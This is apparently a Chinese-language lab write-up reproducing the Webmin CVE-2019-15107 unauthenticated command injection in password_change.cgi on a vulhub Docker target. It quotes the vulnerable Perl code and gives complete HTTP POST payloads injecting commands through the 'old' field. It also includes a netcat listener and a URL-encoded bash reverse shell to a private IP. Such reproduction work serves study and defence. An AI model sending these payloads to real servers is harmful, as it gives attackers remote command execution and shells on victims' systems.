漏洞介绍

Webmin是目前功能最强大的基于Web的Unix系统管理工具,是一个用 Perl 编写的基于浏览器的管理应用程序。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。
http://www.webmin.com/
在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

漏洞范围

Webmin<=1.920

靶场配置

使用vulhub的靶场

环境为webmin 1.910

vulhub-master/webmin/CVE-2019-15107

1
启动靶场:docker-compose up -d

漏洞原理

出问题的地方就是这个password_change.cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/perl
# password_change.cgi
# Actually update a user's password by directly modifying /etc/shadow

BEGIN { push(@INC, "."); };
use WebminCore;

$ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl";
&init_config();
&ReadParse();
&get_miniserv_config(\%miniserv);
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

# Validate inputs
$in{'new1'} ne '' || &pass_error($text{'password_enew1'});
$in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

# Is this a Webmin user?
if (&foreign_check("acl")) {
&foreign_require("acl", "acl-lib.pl");
($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
if ($wuser->{'pass'} eq 'x') {
# A Webmin user, but using Unix authentication
$wuser = undef;
}
elsif ($wuser->{'pass'} eq '*LK*' ||
$wuser->{'pass'} =~ /^\!/) {
&pass_error("Webmin users with locked accounts cannot change ".
"their passwords!");
}
}
if (!$in{'pam'} && !$wuser) {
$miniserv{'passwd_cindex'} ne '' && $miniserv{'passwd_mindex'} ne '' ||
die "Missing password file configuration";
}

if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
elsif ($gconfig{'passwd_cmd'}) {
# Use some configured command
$passwd_cmd = &has_command($gconfig{'passwd_cmd'});
$passwd_cmd || &pass_error("The password change command <tt>$gconfig{'passwd_cmd'}</tt> was not found");

&foreign_require("proc", "proc-lib.pl");
&clean_environment();
$ENV{'REMOTE_USER'} = $in{'user'}; # some programs need this
$passwd_cmd .= " ".quotemeta($in{'user'});
($fh, $fpid) = &proc::pty_process_exec($passwd_cmd, 0, 0);
&reset_environment();
while(1) {
local $rv = &wait_for($fh,
'(new|re-enter).*:',
'(old|current|login).*:',
'pick a password',
'too\s+many\s+failures',
'attributes\s+changed\s+on|successfully\s+changed',
'pick your passwords');
$out .= $wait_for_input;
sleep(1);
if ($rv == 0) {
# Prompt for the new password
syswrite($fh, $in{'new1'}."\n", length($in{'new1'})+1);
}
...
}
}

webmin\password_change.cgi#L40

password_change.cgi 在处理密码更改请求时,对输入参数的验证不足,特别是 old 参数。攻击者可以利用这一点注入恶意命令

password_change.cgi 文件第40行

1
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

这里使用了 qx/$in{'old'}/,它相当于执行了由 old 参数传入的命令。如果 old 参数未经严格验证,攻击者可以注入任意命令

漏洞利用链

  1. 修改密码配置:首先,攻击者需要将Webmin的配置文件/etc/webmin/miniserv.confpasswd_mode设置为2,这可以通过Webmin修改密码配置
  2. 身份验证绕过:攻击者不需要知道Webmin的用户名和密码,即可通过构造特定的HTTP请求利用该漏洞
  3. 构造恶意请求:攻击者通过发送精心构造的POST请求到password_change.cgi,其中old字段包含恶意命令。
  4. 利用qx//执行命令:在password_change.cgi文件中,如果旧密码验证失败,会调用&pass_error函数,并错误地执行qx/$in{'old'}/,其中$in{'old'}是用户可控的输入,导致任意命令执行。
  5. 命令执行:攻击者可以通过在old字段中插入如|id|ls等命令,来执行系统命令并获取反馈,或者更进一步,利用该漏洞反弹shell。

漏洞复现

poc验证

首先进入容器,修改root用户密码,以便登录web界面

1
docker exec -it [容器id] /bin/bash

进入容器后,修改root密码,这里修改为root/root

浏览器输入https://your-ip:10000,忽略证书即可进入webmin登录界面,以root/root登录

以下修改密码配置为网上公开复现步骤,vulhub靶场似乎已经完成该密码配置修改

漏洞需要开启密码重置功能。
在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1

在这里插入图片描述

在服务器上查看webmin的配置文件

1
cat /etc/webmin/miniserv.conf 

image-20241031164728534

使用burp抓包后修改请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

这里的user值要是用的是一个假的用户,使用真实的root测试不成功,只有在发送的用户参数的值不是已知的Linux用户的情况下,展示进入才会到修改/etc/shadow的地方,触发命令注入漏洞

image-20241031165012167

反弹shell

使用kali监听

1
nc -lvvp 4444

将反弹shell命令进行url编码

1
2
3
bash -c "bash -i >& /dev/tcp/192.168.159.132/4444 0>&1"

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.159.132%2F4444%200%3E%261%22

使用burp发送数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=rootxx&pam=&expired=2&old=test||bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.159.132%2F4444%200%3E%261%22&new1=test2&new2=test2

成功反弹shell

image-20241031170323512

脚本

https://github.com/jas502n/CVE-2019-15107

1
python2 CVE_2019_15107.py https://your-ip:10000 [cmd]

image-20241111225854685

参考

漏洞复现——Webmin 远程命令执行漏洞(CVE-2019-15107)-CSDN博客

CVE-2019-15107 Webmin远程命令执行漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)